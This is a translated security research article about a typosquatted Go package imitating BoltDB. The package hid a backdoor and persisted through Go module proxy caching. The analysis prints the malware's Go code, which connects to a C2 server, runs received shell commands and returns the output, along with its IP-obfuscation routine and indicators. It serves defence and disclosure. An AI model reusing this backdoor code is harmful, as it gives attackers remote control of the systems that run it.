Socket的研究人员在Go生态系统中发现了一个恶意的同音字包,该包冒充广受欢迎的
BoltDB
数据库模块(github.com/boltdb/bolt)。这个模块被包括Shopify和Heroku在内的众多组织所信任。BoltDB
包在Go生态系统中被广泛采用,有8,367个其他包依赖它。由于在数千个项目中的广泛应用,BoltDB
已成为Go社区中最重要和最受信任的模块之一。
恶意包github.com/boltdb-go/bolt包含一个后门,可实现远程代码执行,让攻击者通过命令和控制(C2)服务器控制受感染的系统。在恶意软件被Go模块镜像缓存后(Go CLI工具链从该镜像下载),攻击者策略性地修改了GitHub上的git
标签以删除恶意软件的痕迹,躲避手动代码审查。
截至发稿时,这个恶意包仍可从Go模块代理获取。我们已请求从模块镜像中移除它,并报告了攻击者用于分发带后门的boltdb-go
包的GitHub仓库和账号。
这是首次记录到的恶意攻击者利用Go模块镜像无限期缓存模块的案例之一。虽然之前没有公开报告类似案例,但这一事件凸显了未来需要提高对类似持久化攻击手法的警惕。模块不可变性既带来安全益处也可能被滥用,开发者和安全团队应该监控利用缓存模块版本来规避检测的攻击。
隐蔽的Go供应链攻击:从同音字伪装到持久化
攻击者使用GitHub别名"boltdb-go",最初在GitHub上发布了恶意版本v1.3.1
,该版本随后被Go模块镜像服务无限期缓存。一旦包被缓存,他们就重写了GitHub标签,指向一个干净的合法版本,确保手动审计GitHub仓库时不会发现任何恶意内容。然而,由于Go的缓存机制,开发者使用go
CLI安装包时,会继续从Go模块镜像下载缓存的恶意版本,而不是更新后的良性版本。
攻击者创建了一个冒充正版
BoltDB
的恶意包。一旦安装,这个带后门的包就会授予攻击者对受感染系统的远程访问权限,允许他们执行任意命令。这个恶意包于2021年11月上传到Go模块代理。
正版
BoltDB
包在Go编程语言生态系统中被广泛使用,深受开发者信任。
在Go编程生态系统中,Go模块代理服务充当中介,缓存并向开发者提供Go包(模块)。这种缓存机制提高了模块获取的效率和可靠性,并保护用户机器免受git
客户端零日漏洞的影响。默认情况下,当开发者使用Go命令行工具下载或安装包时,他们的请求会自动通过这个代理服务路由。
这次供应链攻击的展开过程如下:
-
攻击者创建了一个恶意Go包,其名称与正版 boltdb/bolt
包极为相似,选择了boltdb-go/bolt
。这种细微的命名变化旨在通过打字错误或误解误导开发者选择恶意包。 -
恶意包发布到公共仓库后,Go模块代理服务在首次请求时获取并缓存了该包。一旦缓存,该包就持续可用于后续下载。 -
在确保恶意包被Go模块代理缓存后,攻击者修改了源仓库中的 Git
标签,将其重定向到一个良性的合法版本。这种欺骗性策略确保了手动检查GitHub仓库时不会发现恶意软件的痕迹,而Go模块代理继续向毫不知情的开发者提供缓存的恶意版本。值得注意的是,Go模块镜像上恶意模块的.info
文件缺少通常会链接回GitHub仓库中恶意代码的已解析Git
提交SHA引用。
这一系列操作使攻击者得以利用Go模块代理的缓存机制,确保即使在仓库标签被修改后,恶意包仍然可供开发者使用。
攻击者控制的GitHub仓库的图片,设计用来冒充正版
boltdb/bolt
仓库。
正版
boltdb/bolt
GitHub仓库的图片。由于该项目的规范仓库已被归档,开发者倾向于创建或采用活跃的分支,这反过来增加了恶意或未经授权的修改被引入到毫不知情的最终用户中的风险。
这次攻击的成功依赖于Go模块代理服务的设计,该服务优先考虑缓存以提高性能和可用性。一旦模块版本被缓存,即使原始源代码后来被修改,它仍然可以通过Go模块代理访问。虽然这种设计有利于合法使用场景,但攻击者利用它来持续分发恶意代码,即使后续对仓库进行了更改。
为什么Go模块是不可变的
Go模块一旦发布并被代理获取后就是不可变的,确保每个拉取标记版本(如v1.2.3
)的用户每次都收到完全相同的内容,并防止发布后的静默更改或覆盖。这种不可变性是Go可重现构建的基础,有助于保证构建输出始终与相关源代码匹配。
这也提供了安全优势:如果一个库后来被攻破,它不能静默替换已下载的代码。因为系统会检测到与go.sum
中记录的校验和的任何不匹配,试图更改先前获取的版本将导致构建失败。
虽然不可变性可能被恶意行为者滥用——允许有害代码一旦被缓存就持续存在——但它仍然是净安全收益。由于Go模块系统按预期运行,这不是一个安全漏洞,没有补丁或开关可以关闭不可变性;相反,开发者必须认识到,一旦恶意版本发布,它在缓存中将保持恶意状态。
2024年,社区评估引起了人们对Go模块代理中基于缓存风险的关注。一份报告详述了代理默认自动缓存公共仓库包所带来的法律和运营问题。另一项评估强调,这种缓存行为可能被利用来提供已被破坏或恶意的模块,无论上游源代码随后如何清理。
手动审计github.com/boltdb-go/bolt
的开发者在GitHub上找不到恶意代码的痕迹。然而,通过Go模块代理proxy.golang.org
下载包时仍然获得原始的带后门版本。这种欺骗行为持续了三年多未被发现,使恶意包得以持续存在,尽管在公共仓库中看起来是干净的。
Socket AI扫描器识别出
boltdb-go/bolt
包为恶意包,提供以下上下文:"这个文件包含一个Apilnit
函数,它试图持续连接到一个隐藏域名(例如,example[.]com)并执行从连接接收的shell命令,而不进行验证。_r
函数掩盖了实际被联系的域名或地址,增加了可疑性。这些功能带来了未经授权远程代码执行的严重风险"。
我们发现了另一个冒充正版BoltDB
包的同音字Go包github.com/bolt-db/bolt。虽然这个包不包含恶意代码,但我们已请求从模块镜像中移除它以防止潜在滥用。
此外,我们已报告相关的GitHub仓库和账号,以减轻未来被利用的风险。分支一个已归档的仓库本身并不是恶意的,可能为合法维护的分支铺平道路。然而,在这个例子中,这个分支基本上是不活跃的,却保留了一个高度匹配的名称,并出现在规范项目的搜索结果中。这凸显了在处理已归档仓库时需要谨慎,因为这些仓库在正式维护结束多年后仍可能吸引用户和贡献者。
后门实现
boltdb-go/bolt
包是正版BoltDB
包的特洛伊木马版本,在原有的数据库功能中嵌入了一个隐蔽的远程访问后门。恶意代码设计用于持续连接到一个混淆的IP地址49.12.198[.]231:20022
的远程C2服务器。一旦连接,它就会监听命令,在主机系统上执行这些命令,并将输出返回给攻击者。这实际上授予了未经授权的远程用户对运行此包的任何系统的完全控制权。
以下来自db.go
文件的恶意代码片段已添加注释以突出攻击者建立和激活隐藏后门的技术。
func ApiInit() {
go func() {
defer func() {
// 持久化机制:
// 如果函数发生恐慌(例如连接丢失),30秒后重启
if r := recover(); r != nil {
time.Sleep(30 * time.Second)
ApiInit()
}
}()
for {
d := net.Dialer{Timeout: 10 * time.Second}
// 混淆的C2连接:
// 使用_r()构造隐藏的IP地址和端口
conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)))
if err != nil {
// 隐匿:
// 如果连接失败,30秒后重试以避免立即被发现
time.Sleep(30 * time.Second)
continue
}
// 远程命令执行循环
// 读取传入的命令并执行它们
for {
message, _ := bufio.NewReader(conn).ReadString('n')
args, err := shellwords.Parse(strings.TrimSuffix(message, "n"))
if err != nil {
fmt.Fprintf(conn, "Parse err: %sn", err)
continue
}
// 执行任意shell命令
var out []byte
if len(args) == 1 {
out, err = exec.Command(args[0]).Output()
} else {
out, err = exec.Command(args[0], args[1:]...).Output()
}
// 数据窃取:
// 将命令输出或错误发送回攻击者
if err != nil {
fmt.Fprintf(conn, "%sn", err)
}
fmt.Fprintf(conn, "%sn", out)
}
}
}()
}
从cursor.go
文件的恶意代码片段已添加注释,以说明攻击者混淆值的技术,这些值后续被操作以构造IP地址。
const (
MaxMemSize = 64966512577 // 混淆的IP部分
MaxIndex = 6179852731 // 混淆的IP部分
MaxPort = 2060272 // 混淆的端口
)
这些常量通过_r()
组合和转换。
func _r(s string) string {
// 字符串操作/混淆
// 将'5'替换为'.'并移除'6'和'7'以伪装C2地址
ret := strings.ReplaceAll(s, "5", ".")
ret = strings.ReplaceAll(ret, "6", "")
ret = strings.ReplaceAll(ret, "7", "")
return ret
}
转换前的原始值:
"649665125776179852731:2060272"
转换过程:'5'
→ '.'
,同时移除'6'
和'7'
,得到最终输出:
"49.12.198[.]231:20022"
恶意功能分布在boltdb-go/bolt
包的多个文件中以规避检测,db.go
启动后门连接,而cursor.go
巧妙地引入误导性常量,这些常量后来被转换成混淆的IP地址。_r()
函数动态重构攻击者的C2地址,确保标准静态分析工具不能轻易识别或标记恶意基础设施。当开发者调用Open()
时,后门激活,建立与49.12.198[.]231:20022
的持久TCP连接,在那里等待并执行来自攻击者的任意shell命令。此外,内置的重新初始化例程确保如果后门崩溃或失败,它会自动重启,保持对被攻陷系统的持续访问。
攻击者使用托管在Hetzner Online GmbH (AS24940)上的干净、未被标记的IP表明其具有高水平的操作安全性,这表明这个基础设施是专门为这次行动采购的,以避免过早被发现和被列入黑名单。与无差别的恶意软件不同,这个后门被设计成能融入受信任的开发环境,增加了在被发现前广泛攻陷的可能性。
展望和建议
Go编程语言因其效率、简洁性和强大的模块生态系统而备受赞誉。然而,正如这次事件所表明的,同样支持无缝包分发的机制也可能被利用于软件供应链攻击。对Go模块代理缓存机制的滥用使恶意包能够未被发现地持续存在数年。这凸显了开源生态系统中主动安全措施的必要性,在这里传统的审计方法可能无法检测到复杂的威胁。
Socket的AI扫描器在恶意代码渗入软件供应链之前识别它们方面发挥着关键作用。通过分析实际安装的包内容——而不是仅仅依赖代码仓库——扫描器能检测混淆的代码、意外的网络活动和未经授权的命令执行。在这个案例中,Socket的AI扫描器因其隐藏的后门标记出了恶意的boltdb-go/bolt
包,突出了检查实际安装内容而不仅仅是仓库中显示内容的重要性。
为了减轻供应链威胁,开发者应该在安装前验证包的完整性,分析依赖项中的异常,并使用能够更深层次检查已安装代码的安全工具。确保Go的模块生态系统能够持续抵御此类攻击需要持续的警惕、改进的安全机制,以及对攻击者如何利用软件分发渠道有更好的认识。
Socket的GitHub应用能够实时监控拉取请求,在可疑或恶意包被合并前标记它们。在Go安装或构建期间运行Socket CLI通过分析依赖文件(go.mod
和go.sum
)提供额外的安全层,在开源依赖被整合到项目中之前识别异常、可疑行为和潜在的安全风险。此外,使用Socket浏览器扩展通过分析浏览活动并在用户下载或与恶意内容交互之前向用户发出警告,提供即时保护。通过将这些安全措施整合到开发工作流程中,组织可以显著降低供应链攻击的可能性。
IOCs
-
恶意Go包: github.com/boltdb-go/bolt
-
攻击者GitHub别名: boltdb-go
-
C2服务器: 49.12.198[.]231:20022
MITRE ATT&CK技术
-
T1195.002 — 供应链攻击:攻击软件供应链 -
T1608.001 — 准备能力:上传恶意软件 -
T1204.002 — 用户执行:恶意文件 -
T1036.005 — 伪装:匹配合法名称或位置 -
T1027 — 混淆文件或信息 -
T1571 — 非标准端口
原文链接:https://socket.dev/blog/malicious-package-exploits-go-module-proxy-caching-for-persistence
原文始发于微信公众号(独眼情报):Go 供应链攻击:恶意软件包利用 Go 模块代理缓存实现持久性
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论